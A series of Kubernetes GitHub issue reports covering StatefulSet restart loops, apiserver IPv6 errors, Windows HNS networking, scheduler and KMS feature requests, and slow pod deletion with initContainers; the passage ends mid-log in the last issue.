release:guardian-tosshengfen statefulset.kubernetes.io/pod-name:apacheds-master-wngmw-0 transwarp.install:wngmw transwarp.name:apacheds-master  annotations:map transwarp/configmap.md5:e29740fef2556260bd4d8a8577ae94a39eb7da6c3409a7ceb0012aa8248b0288 cni.networks:overlay tos.network.staticip:true transwarp.replicaid:0  ownerreferences: {apiversion:apps/v1beta1 kind:statefulset name:apacheds-master-wngmw uid:d08f47f9-cc6e-11e8-92a1-ac1f6b83dd66 controller:0xc63fe405ec blockownerdeletion:0xc63fe405ed}  initializers:nil finalizers:   clustername:}.\r i1018 16:35:40.226611       1 endpoints_controller.go:512  update endpoints for tosshengfen/apacheds-master-hl-wngmw, ready: 2 not ready: 0\r i1018 16:35:40.226636       1 endpoints_controller.go:512  update endpoints for tosshengfen/apacheds-master-wngmw, ready: 2 not ready: 0\r i1018 16:35:40.226891       1 leaderelection.go:199  successfully renewed lease kube-system/kube-controller-manager\r i1018 16:35:40.230810       1 endpoints_controller.go:388  finished syncing service \ tosshengfen/apacheds-master-wngmw\  endpoints.  4.404656ms \r ...\r i1018 16:35:40.250577       1 stateful_set.go:464  syncing statefulset tosshengfen/apacheds-master-wngmw with 1 pods\r i1018 16:35:40.252841       1 stateful_set_control.go:507  statefulset tosshengfen/apacheds-master-wngmw terminating pod apacheds-master-wngmw-0 for update\r ...\r i1018 16:35:40.258385       1 stateful_set.go:235  pod apacheds-master-wngmw-0 updated, objectmeta {name:apacheds-master-wngmw-0 generatename:apacheds-master-wngmw- namespace:tosshengfen selflink:/api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0 uid:b088894c-d2b0-11e8-99b0-ac1f6b83df5c resourceversion:32699198 generation:0 creationtimestamp:2018-10-18 16:34:55 +0800 cst deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map controller-revision-hash:apacheds-master-wngmw-78c894955d release:guardian-tosshengfen statefulset.kubernetes.io/pod-name:apacheds-master-wngmw-0 transwarp.install:wngmw transwarp.name:apacheds-master  annotations:map cni.networks:overlay tos.network.staticip:true transwarp.replicaid:0 transwarp/configmap.md5:e29740fef2556260bd4d8a8577ae94a39eb7da6c3409a7ceb0012aa8248b0288  ownerreferences: {apiversion:apps/v1beta1 kind:statefulset name:apacheds-master-wngmw uid:d08f47f9-cc6e-11e8-92a1-ac1f6b83dd66 controller:0xc63fe405ec blockownerdeletion:0xc63fe405ed}  initializers:nil finalizers:   clustername:} -> {name:apacheds-master-wngmw-0 generatename:apacheds-master-wngmw- namespace:tosshengfen selflink:/api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0 uid:b088894c-d2b0-11e8-99b0-ac1f6b83df5c resourceversion:32699206 generation:0 creationtimestamp:2018-10-18 16:34:55 +0800 cst deletiontimestamp:2018-10-18 16:36:10 +0800 cst deletiongraceperiodseconds:0xc63ed22908 labels:map controller-revision-hash:apacheds-master-wngmw-78c894955d release:guardian-tosshengfen statefulset.kubernetes.io/pod-name:apacheds-master-wngmw-0 transwarp.install:wngmw transwarp.name:apacheds-master  annotations:map cni.networks:overlay tos.network.staticip:true transwarp.replicaid:0 transwarp/configmap.md5:e29740fef2556260bd4d8a8577ae94a39eb7da6c3409a7ceb0012aa8248b0288  ownerreferences: {apiversion:apps/v1beta1 kind:statefulset name:apacheds-master-wngmw uid:d08f47f9-cc6e-11e8-92a1-ac1f6b83dd66 controller:0xc63ed2296b blockownerdeletion:0xc63ed2296c}  initializers:nil finalizers:   clustername:}.\r ...\r i1018 16:35:40.258452       1 disruption.go:340  updatepod called on pod \ apacheds-master-wngmw-0\ \r i1018 16:35:40.258507       1 disruption.go:403  no poddisruptionbudgets found for pod apacheds-master-wngmw-0, poddisruptionbudget controller will avoid syncing.\r i1018 16:35:40.258515       1 disruption.go:343  no matching pdb for pod \ apacheds-master-wngmw-0\ \r i1018 16:35:40.258522       1 endpoints_controller.go:512  update endpoints for tosshengfen/apacheds-master-wngmw, ready: 0 not ready: 0\r i1018 16:35:40.258523       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ tosshengfen\ , name:\ apacheds-master-wngmw\ , uid:\ d08f47f9-cc6e-11e8-92a1-ac1f6b83dd66\ , apiversion:\ apps\ , resourceversion:\ 32698306\ , fieldpath:\ \ } : type: 'normal' reason: 'successfuldelete' delete pod apacheds-master-wngmw-0 in statefulset apacheds-master-wngmw successful\r i1018 16:35:40.258627       1 endpoints_controller.go:512  update endpoints for tosshengfen/apacheds-master-hl-wngmw, ready: 2 not ready: 0\r i1018 16:35:40.262618       1 endpoints_controller.go:388  finished syncing service \ tosshengfen/apacheds-master-wngmw\  endpoints.  4.13269ms \r i1018 16:35:40.262857       1 endpoints_controller.go:388  finished syncing service \ tosshengfen/apacheds-master-hl-wngmw\  endpoints.  4.376765ms \r i1018 16:35:40.263467       1 stateful_set_control.go:99  statefulset tosshengfen/apacheds-master-wngmw pod status replicas=1 ready=1 current=0 updated=0\r i1018 16:35:40.263484       1 stateful_set_control.go:107  statefulset tosshengfen/apacheds-master-wngmw revisions current=apacheds-master-wngmw-78c894955d update=apacheds-master-wngmw-78c894955b\r i1018 16:35:40.263499       1 stateful_set.go:469  successfully synced statefulset tosshengfen/apacheds-master-wngmw successful\r i1018 16:35:40.263508       1 stateful_set.go:426  finished syncing statefulset \ tosshengfen/apacheds-master-wngmw\   13.064898ms \r \r i1018 16:35:40.274392       1 stateful_set.go:464  syncing statefulset tosshengfen/apacheds-master-wngmw with 1 pods\r i1018 16:35:40.277744       1 stateful_set_control.go:351  statefulset tosshengfen/apacheds-master-wngmw has 1 unhealthy pods starting with apacheds-master-wngmw-0\r i1018 16:35:40.277833       1 stateful_set_control.go:518  statefulset tosshengfen/apacheds-master-wngmw is waiting for pod apacheds-master-wngmw-0 to update\r i1018 16:35:40.283016       1 stateful_set_control.go:99  statefulset tosshengfen/apacheds-master-wngmw pod status replicas=1 ready=1 current=0 updated=0\r i1018 16:35:40.283036       1 stateful_set_control.go:107  statefulset tosshengfen/apacheds-master-wngmw revisions current=apacheds-master-wngmw-78c894955d update=apacheds-master-wngmw-78c894955c\r i1018 16:35:40.283052       1 stateful_set.go:469  successfully synced statefulset tosshengfen/apacheds-master-wngmw successful\r i1018 16:35:40.283061       1 stateful_set.go:426  finished syncing statefulset \ tosshengfen/apacheds-master-wngmw\   8.813259ms \r \r    \r related apiserver log shows:\r    \r i1018 16:55:45.227926       1 handler.go:154  kube-apiserver: get \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0\  satisfied by gorestful with webservice /api/v1\r i1018 16:55:45.229830       1 wrap.go:42  get /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0:  2.576386ms  200   kubelet/v1.9.6  linux/amd64  kubernetes/9a796d2  172.26.0.7:55968 \r i1018 16:55:45.231153       1 handler.go:164  kube-aggregator: put \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0/status\  satisfied by nongorestful\r i1018 16:55:45.231168       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0/status\  satisfied by prefix /api/\r i1018 16:55:45.231176       1 handler.go:154  kube-apiserver: put \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0/status\  satisfied by gorestful with webservice /api/v1\r i1018 16:55:45.233911       1 wrap.go:42  put /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0/status:  3.224904ms  200   kubelet/v1.9.6  linux/amd64  kubernetes/9a796d2  172.26.0.7:55968 \r i1018 16:55:45.235298       1 handler.go:164  kube-aggregator: delete \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0\  satisfied by nongorestful\r i1018 16:55:45.235327       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0\  satisfied by prefix /api/\r i1018 16:55:45.235335       1 handler.go:154  kube-apiserver: delete \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0\  satisfied by gorestful with webservice /api/v1\r i1018 16:55:45.238372       1 store.go:990  going to delete apacheds-master-wngmw-0 from registry: \r i1018 16:55:45.239420       1 graph_populator.go:63  updatepod tosshengfen/apacheds-master-wngmw-0, node unchanged\r i1018 16:55:45.241605       1 wrap.go:42  delete /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0:  6.701155ms  200   kubelet/v1.9.6  linux/amd64  kubernetes/9a796d2  172.26.0.7:55968 \r i1018 16:55:45.242209       1 graph_populator.go:84  deletepod tosshengfen/apacheds-master-wngmw-0 for node 172.26.0.7\r i1018 16:55:45.283345       1 graph_populator.go:57  updatepod tosshengfen/apacheds-master-wngmw-0, no node\r i1018 16:55:45.291565       1 handler.go:164  kube-aggregator: post \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0/binding\  satisfied by nongorestful\r i1018 16:55:45.291579       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0/binding\  satisfied by prefix /api/\r i1018 16:55:45.291590       1 handler.go:154  kube-apiserver: post \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0/binding\  satisfied by gorestful with webservice /api/v1\r i1018 16:55:45.292385       1 handler.go:164  kube-aggregator: delete \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0\  satisfied by nongorestful\r i1018 16:55:45.292398       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0\  satisfied by prefix /api/\r i1018 16:55:45.292408       1 handler.go:154  kube-apiserver: delete \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0\  satisfied by gorestful with webservice /api/v1\r i1018 16:55:45.293993       1 wrap.go:42  post /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0/binding:  2.938183ms  201   scheduler/v1.9.6  linux/amd64  kubernetes/9a796d2/scheduler  172.26.0.5:42930 \r i1018 16:55:45.294324       1 graph_populator.go:67  updatepod tosshengfen/apacheds-master-wngmw-0 for node 172.26.0.7\r i1018 16:55:45.295311       1 store.go:371  guaranteedupdate of /registry/pods/tosshengfen/apacheds-master-wngmw-0 failed because of a conflict, going to retry\r i1018 16:55:45.297042       1 store.go:990  going to delete apacheds-master-wngmw-0 from registry: \r i1018 16:55:45.297731       1 graph_populator.go:63  updatepod tosshengfen/apacheds-master-wngmw-0, node unchanged\r i1018 16:55:45.300100       1 graph_populator.go:84  deletepod tosshengfen/apacheds-master-wngmw-0 for node 172.26.0.7\r i1018 16:55:45.300181       1 wrap.go:42  delete /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0:  8.248651ms  200   controller-manager/v1.9.6  linux/amd64  kubernetes/9a796d2/statefulset-controller  172.26.0.5:42680 \r i1018 16:55:45.312521       1 graph_populator.go:57  updatepod tosshengfen/apacheds-master-wngmw-0, no node\r i1018 16:55:45.321895       1 handler.go:164  kube-aggregator: post \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0/binding\  satisfied by nongorestful\r i1018 16:55:45.321911       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0/binding\  satisfied by prefix /api/\r i1018 16:55:45.321921       1 handler.go:154  kube-apiserver: post \ /api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0/binding\  satisfied by gorestful with webservice /api/v1\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r uncertain.\r \r   anything else we need to know?  :\r it seems to be   resourceversion   issue, controller-manager always find the unexpected resourceversion from pods so that it restarts a new one.\r \r it's the second time i encounter this issue, restarting etcd and controller-manager fixed it. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  v 1.9.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r make the default container network interface name configurable, so that one can change it to sth. like 'eth1'\r \r   why is this needed  :\r we have many legacy services which get their listen ip from \ eth1\   interface,  it's boring and time consuming to change all the code and recompile. \r our quick and dirty solution was to change the value of defaultinterfacename in kubelet/dockershim/network/network.go to 'eth1'.  it would be better if defaultinterfacename is configurable so that we don't need to touch any line of core kubelet code.\r \r @kubernetes/sig-node-feature-requests\r \r  <!-- do not edit below this line -->\r 

what happened  :\r i start the kube-apiserver docker image. when it tries to connect to itself on localhost it fails with an error. this happens regardless of whether ipv6 is enabled or disabled in either or bothe linux kernel and the docker daemon. this does not happen in kubernetes =<1.11\r \r    f1217 14:46:29.285877       1 controller.go:148  unable to perform initial ip allocation check: unable to refresh the service ip block: get https://localhost:6443/api/v1/services: dial tcp  ::1 :6443: connect: cannot assign requested address   \r \r   what you expected to happen  :\r \r kube-apiserver to start\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    $ docker version\r client:\r  version:           18.06.1-ce\r  api version:       1.38\r  go version:        go1.10.4\r  git commit:        e68fc7a\r  built:             tue aug 21 17:16:31 2018\r  os/arch:           linux/amd64\r  experimental:      false\r \r server:\r  engine:\r   version:          18.06.1-ce\r   api version:      1.38  minimum version 1.12 \r   go version:       go1.10.4\r   git commit:       e68fc7a\r   built:            tue aug 21 17:16:31 2018\r   os/arch:          linux/amd64\r   experimental:     false\r \r $ docker run --rm -d --name etcd quay.io/coreos/etcd:v3.3 /usr/local/bin/etcd --advertise-client-urls=http://0.0.0.0:2379 --listen-client-urls=http://0.0.0.0:2379\r \r $ docker run -ti --link etcd gcr.io/google-containers/kube-apiserver:v1.12.3 /usr/local/bin/kube-apiserver --etcd-servers=http://etcd:2379\r ...\r f1217 14:57:30.143527       1 controller.go:148  unable to perform initial ip allocation check: unable to refresh the service ip block: get https://localhost:6443/api/v1/services: dial tcp  ::1 :6443: connect: cannot assign requested address\r    \r \r   anything else we need to know?  :\r \r also tried combinations of  --bind-address=0.0.0.0  and  --advertise-address=127.0.0.1  on the  kube-apiserver \r \r seems to work on docker-for-windows 18.09.0.\r \r i am unsure how to proceed. any tips or suggestions would be greatly appreciated.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.12.3 \r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release :  container-linux 1911.4.0 \r - kernel  e.g.  uname -a  :  4.14.81-coreos \r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

what happened  :\r \r after creating a service of the \ loadbalancer\  type in a cluster with windows nodes, the management ip of the hns networks on all windows nodes will change to the external ip assigned to the loadbalancer service. after that, new pods started on the windows nodes will not have network connectivity.\r \r for example,\r    \r activityid             : 18a8b631-a148-4269-8f13-5f6993d31bdd\r additionalparams       :\r currentendpointcount   : 2\r extensions             : {@{id=e7c3b2f0-f3c5-48df-af2b-10fed6d72e7a; isenabled=false; name=microsoft windows filtering platform}, @{id=e9b59cfa-2be1-4b21-828f-b6fbdbddc017; isenabled=true;   \r                          name=microsoft azure vfp switch extension}, @{id=ea24cd6c-d17a-4348-9190-09f0d5be83dd; isenabled=true; name=microsoft ndis capture}}\r flags                  : 0\r health                 : @{lasterrorcode=0; lastupdatetime=131975929918561278}\r id                     : acb9211b-10b5-4ec0-af6c-2b187b1809b8\r ipv6                   : false\r layeredon              : 525980d5-d3f6-488d-ba74-8c702c6c6aa5 \r macpools               : {@{endmacaddress=00-15-5d-99-bf-ff; startmacaddress=00-15-5d-99-b0-00}}\r managementip           : 35.224.254.87\r maxconcurrentendpoints : 5\r name                   : l2bridge\r    \r \r the \ managementip\  was \ 10.40.0.3\   the internal node ip , but now is \ 35.224.254.87\  -- an external ip assigned to the load balancer.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a service of loadbalancer type, and check  get-hnsnetwork  on windows nodes.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14\r - cloud provider or hardware configuration: gce/gcp\r - os  e.g:  cat /etc/os-release  : windows 1809\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r the management ip will keep changing every time a new load balancer is created. i couldn't find any documentation on how hns gets the management ip, and how this may affect the network. the pods on the node were definitely having connectivity issues after the creation of the load balancer, so even if this wasn't not the root cause, something else must have been broken by the creation of load balancer.\r \r /cc @kubernetes/sig-windows-bugs @dineshgovindasamy \r @bowei

like many other schedulers, k8s scheduler is a sequential scheduler handles pods one by one. this makes the architecture and algorithm simpler, but in some cases a sequential scheduler could make worse decisions than a scheduler which takes a group of pods into account, the sequential scheduler is like a “greedy algorithm” framework for pods placement.  i would like to suggest adding “group scheduling” support for the scheduler, and an ”all-or-nothing” result is reasonable i think. please share your thoughts. thanks!  @davidopp

in https://github.com/stevekuznetsov/kubernetes/commit/9aa6494306f13217d97bb9eb260f630a9a18242a, my only interaction with generated files was through  hack/update-all.sh . this managed to corrupt the state of the codecgen files to such a point that subsequent runs of  hack/update-all.sh  did _not_ revert the changes and  hack/verify-all.sh  marked the codecgen files as broken.  /cc @liggitt

it looks like an  etcd3  compatibility issue from the initial debugging, but i haven't had a chance to do a thorough analysis.\r \r federation control plane creates an  etcd  container with an  etcd2  image and recent changes announced here https://groups.google.com/forum/ !topic/kubernetes-dev/wmpk5fyoore might be the reason for the failures.\r \r were there any changes to generic api server to make this change happen? \r \r @nikhiljindal @shashidharatd, could one of you please take a look? \r \r cc @kubernetes/sig-federation-misc @nikhiljindal @shashidharatd @csbell @timothysc

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/903/ failed: listresources after {e2e.go}      failed to list resources  error during ./cluster/gce/list-resources.sh: signal: interrupt : project: k8s-jkns-e2e-gce-gci-serial region:  zone:  instance prefix: bootstrap-e2e network: bootstrap-e2e provider: gce     instance-templates          previous issues for this test:  42073

 \r \r   what happened  :\r owners files contain users who are not collaborators. these users cannot be assigned to prs or issues which is what the bots use owners files for.\r \r   what you expected to happen  :\r if you are in this list please become a kubernetes member or an outside collaborator.\r \r the following github users are listed in at least one owners file in the kubernetes repo, but are not collaborators:\r \r @mrhohn\r @baludontu\r @divyenpatel\r @ngtuna\r @runseb\r @svanharmelen\r @yuyuhong\r @agonzalezro\r @liggit\r @tvansteenburgh\r @wwwtyro\r @goltermann\r @lixiaobing10051267\r @feihujiang\r @rata\r @sdminonne\r @dalanlan\r @mfanjie\r @lojies\r @q-lee\r @fasaxc\r @mikaelcluseau\r @chakri-nelluri\r @ping035627\r @xiangpengzhao\r @madhusundancs\r @girishkalele\r @copejon\r @saad-aali\r @juanvallejo\r @artfulcoder\r @filbranden\r @richieescarez\r @mrubin\r @jregan\r @249043822\r @ddysher\r @johscheuer\r @abithap\r @wasylkowski\r @m1093782566\r @directxman12\r

 \r in 1.7 we added the capability to encrypt secrets at the database layer using keys provided in a file on disk on the master. the next logical step is to protect those keys using a key management service such as vault or the kms's provided by the major cloud providers. \r \r in 1.8 via  48574  https://github.com/kubernetes/kubernetes/pull/48574  we added a plugin mechanism and an implementation for google cloud kms.  but this is based on the existing cloud provider integration point, so doesn't help the in-flight  vault implementation  https://github.com/kubernetes/kubernetes/pull/51760  or any other non-cloud providers. see  design doc for more details  https://docs.google.com/document/d/19sbqlrsc_mpmxblcxasubrjlazxgqfw1keiwg3fhhlu/edit .\r \r as @luxas states in the pr:\r \r > for beta, this has to work with out of tree cloud providers, and api server <-> kms integration should > be done via some kind of interface, but not by compiling the kms code into the api server.\r \r this bug will track the effort to add that api interface.\r \r @lavalamp \r \r @kubernetes/sig-api-machinery-feature-requests\r @kubernetes/sig-auth-misc

 \r   what happened  :\r \r when running a pod with an initcontainer it took 1m45.245s to delete\r \r   what you expected to happen  :\r \r it should take much less time to delete a pod. when the pod is run without an initcontainer it took 3.653s to delete.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    bash\r $ kubectl apply -f https://gist.githubusercontent.com/everett-toews/49474a99f1d0d599c1834d485497baeb/raw/e883b006df0553d1fb6ea61d4b38035d1360b97f/app.yaml\r configmap \ app\  created\r service \ app\  created\r deployment \ app\  created\r service \ db\  created\r deployment \ db\  created\r \r   wait a couple of minutes\r \r $ kubectl delete -f https://gist.githubusercontent.com/everett-toews/49474a99f1d0d599c1834d485497baeb/raw/e883b006df0553d1fb6ea61d4b38035d1360b97f/app.yaml\r configmap \ app\  deleted\r service \ app\  deleted\r deployment \ app\  deleted\r service \ db\  deleted\r deployment \ db\  deleted\r \r $ app_pod_id=$ kubectl get pods | grep app | awk '{print $1}'  && time while kubectl get pod ${app_pod_id} > /dev/null 2>&1 ; do sleep 1; echo -n \ .\ ; done\r .......................................................................\r real\t1m45.245s\r user\t0m10.085s\r sys\t0m1.412s\r    \r \r if you comment out the  initcontainers  section in that manifest, the delete takes ~3s.\r \r   anything else we need to know?  :\r \r describe pod.\r \r    \r $ kubectl describe pods app-56974bd488-6mlrq\r name:                      app-56974bd488-6mlrq\r namespace:                 default\r node:                      etoews-rpc1-iad-worker-1/10.0.0.9\r start time:                mon, 30 oct 2017 14:27:20 -0500\r labels:                    pod-template-hash=1253068044\r                            role=app\r annotations:               kubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ default\ ,\ name\ :\ app-56974bd488\ ,\ uid\ :\ 5951ad1d-bda8-11e7-81d7-fa163e0b9840\ ,\ ap...\r status:                    terminating  expires mon, 30 oct 2017 14:41:41 -0500 \r termination grace period:  30s\r ip:\r created by:                replicaset/app-56974bd488\r controlled by:             replicaset/app-56974bd488\r init containers:\r   wait-for-db:\r     container id:  docker://4e0c28635df0e72b198ad6dddf0b4f42bf77f3f87a717940dbe3200ddbff927b\r     image:         mysql\r     image id:      docker-pullable://mysql@sha256:9ed76f990ff4e6996827148b829bf823e96388da4009f1b8bf8d01691ca93113\r     port:          <none>\r     command:\r       sh\r       -c\r       until mysql -h$mysql_host -u$mysql_user -p$mysql_password -e'quit' --connect-timeout=2; do sleep 2; done\r     state:          terminated\r       exit code:    0\r       started:      mon, 01 jan 0001 00:00:00 +0000\r       finished:     mon, 01 jan 0001 00:00:00 +0000\r     ready:          true\r     restart count:  0\r     environment variables from:\r       app         configmap  optional: false\r     environment:  <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-t2cwn  ro \r containers:\r   app:\r     container id:\r     image:         quay.io/etoews/app:dumb-init\r     image id:\r     port:          8080/tcp\r     args:\r       --admin-token=foo\r       --auth-backend=dummy\r       --db-host=$ mysql_host \r       --db-user=$ mysql_user \r       --db-password=$ mysql_password \r     state:          terminated\r       exit code:    0\r       started:      mon, 01 jan 0001 00:00:00 +0000\r       finished:     mon, 01 jan 0001 00:00:00 +0000\r     ready:          false\r     restart count:  0\r     limits:\r       cpu:     100m\r       memory:  100mi\r     requests:\r       cpu:     100m\r       memory:  100mi\r     environment variables from:\r       app         configmap  optional: false\r     environment:  <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-t2cwn  ro \r conditions:\r   type           status\r   initialized    true\r   ready          false\r   podscheduled   true\r volumes:\r   default-token-t2cwn:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-t2cwn\r     optional:    false\r qos class:       guaranteed\r node-selectors:  <none>\r tolerations:     <none>\r events:\r   type    reason                 age   from                               message\r   ----    ------                 ----  ----                               -------\r   normal  scheduled              15m   default-scheduler                  successfully assigned app-56974bd488-6mlrq to etoews-rpc1-iad-worker-1\r   normal  successfulmountvolume  15m   kubelet, etoews-rpc1-iad-worker-1  mountvolume.setup succeeded for volume \ default-token-t2cwn\ \r   normal  pulling                15m   kubelet, etoews-rpc1-iad-worker-1  pulling image \ mysql\ \r   normal  pulled                 6m    kubelet, etoews-rpc1-iad-worker-1  successfully pulled image \ mysql\ \r   normal  created                6m    kubelet, etoews-rpc1-iad-worker-1  created container\r   normal  started                6m    kubelet, etoews-rpc1-iad-worker-1  started container\r   normal  pulling                4m    kubelet, etoews-rpc1-iad-worker-1  pulling image \ quay.io/etoews/app:dumb-init\ \r   normal  pulled                 4m    kubelet, etoews-rpc1-iad-worker-1  successfully pulled image \ quay.io/etoews/app:dumb-init\ \r   normal  created                4m    kubelet, etoews-rpc1-iad-worker-1  created container\r   normal  started                4m    kubelet, etoews-rpc1-iad-worker-1  started container\r   normal  killing                1m    kubelet, etoews-rpc1-iad-worker-1  killing container with id docker://app:need to kill pod\r    \r \r node log.\r \r    \r core@etoews-worker-1 ~ $ journalctl -u kubelet --follow\r ...\r oct 30 19:41:11 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : 2017-10-30 19:41:11.911  warning  1758  k8s.go 424: attempt to 'delete' using kubernetes backend is not supported.\r oct 30 19:41:11 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : calico cni releasing ip address\r oct 30 19:41:11 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : calico cni deleting device in netns /proc/30768/ns/net\r oct 30 19:41:12 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : w1030 19:41:12.476987    3238 pod_container_deletor.go:77  container \ c84acfbdb34832570162ed959be8dd447d4811f9288627051954b27a09b48c0b\  not found in pod's containers\r oct 30 19:41:12 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : w1030 19:41:12.485078    3238 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ c84acfbdb34832570162ed959be8dd447d4811f9288627051954b27a09b48c0b\ \r oct 30 19:41:12 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : i1030 19:41:12.631089    3238 reconciler.go:186  operationexecutor.unmountvolume started for volume \ default-token-t2cwn\   uniquename: \ kubernetes.io/secret/595645f5-bda8-11e7-81d7-fa163e0b9840-default-token-t2cwn\   pod \ 595645f5-bda8-11e7-81d7-fa163e0b9840\   uid: \ 595645f5-bda8-11e7-81d7-fa163e0b9840\  \r oct 30 19:41:12 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : i1030 19:41:12.692728    3238 operation_generator.go:535  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/595645f5-bda8-11e7-81d7-fa163e0b9840-default-token-t2cwn\   outervolumespecname: \ default-token-t2cwn\   pod \ 595645f5-bda8-11e7-81d7-fa163e0b9840\   uid: \ 595645f5-bda8-11e7-81d7-fa163e0b9840\  . innervolumespecname \ default-token-t2cwn\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \ \r oct 30 19:41:12 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : i1030 19:41:12.733020    3238 reconciler.go:290  volume detached for volume \ default-token-t2cwn\   uniquename: \ kubernetes.io/secret/595645f5-bda8-11e7-81d7-fa163e0b9840-default-token-t2cwn\   on node \ etoews-rpc1-iad-worker-1\  devicepath \ \ \r oct 30 19:41:12 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : 2017-10-30 19:41:12.880  warning  1787  k8s.go 313: workloadendpoint does not exist in the datastore, moving forward with the clean up workload=\ default.app-56974bd488-6mlrq\  workloadendpoint=api.workloadendpointmetadata{objectmetadata:unversioned.objectmetadata{revision:interface {} nil }, name:\ eth0\ , workload:\ default.app-56974bd488-6mlrq\ , orchestrator:\ k8s\ , node:\ etoews-rpc1-iad-worker-1\ , activeinstanceid:\ \ , labels:map string string nil }\r oct 30 19:41:12 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : calico cni releasing ip address\r oct 30 19:41:13 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : w1030 19:41:13.559871    3238 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ c84acfbdb34832570162ed959be8dd447d4811f9288627051954b27a09b48c0b\ \r oct 30 19:41:13 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : 2017-10-30 19:41:13.858  warning  1820  k8s.go 313: workloadendpoint does not exist in the datastore, moving forward with the clean up workload=\ default.app-56974bd488-6mlrq\  workloadendpoint=api.workloadendpointmetadata{objectmetadata:unversioned.objectmetadata{revision:interface {} nil }, name:\ eth0\ , workload:\ default.app-56974bd488-6mlrq\ , orchestrator:\ k8s\ , node:\ etoews-rpc1-iad-worker-1\ , activeinstanceid:\ \ , labels:map string string nil }\r oct 30 19:41:13 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : calico cni releasing ip address\r oct 30 19:41:18 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : 2017-10-30 19:41:18.079  warning  1865  k8s.go 424: attempt to 'delete' using kubernetes backend is not supported.\r oct 30 19:41:18 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : calico cni releasing ip address\r oct 30 19:41:18 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : calico cni deleting device in netns /proc/30797/ns/net\r oct 30 19:41:18 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : w1030 19:41:18.724576    3238 pod_container_deletor.go:77  container \ 9438f6ccb2da5d45e203bdb1b5cb301be28aa47942a4f140865f101e7c119661\  not found in pod's containers\r oct 30 19:41:18 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : w1030 19:41:18.731294    3238 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 9438f6ccb2da5d45e203bdb1b5cb301be28aa47942a4f140865f101e7c119661\ \r oct 30 19:41:18 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : i1030 19:41:18.821798    3238 reconciler.go:186  operationexecutor.unmountvolume started for volume \ default-token-t2cwn\   uniquename: \ kubernetes.io/secret/59809895-bda8-11e7-81d7-fa163e0b9840-default-token-t2cwn\   pod \ 59809895-bda8-11e7-81d7-fa163e0b9840\   uid: \ 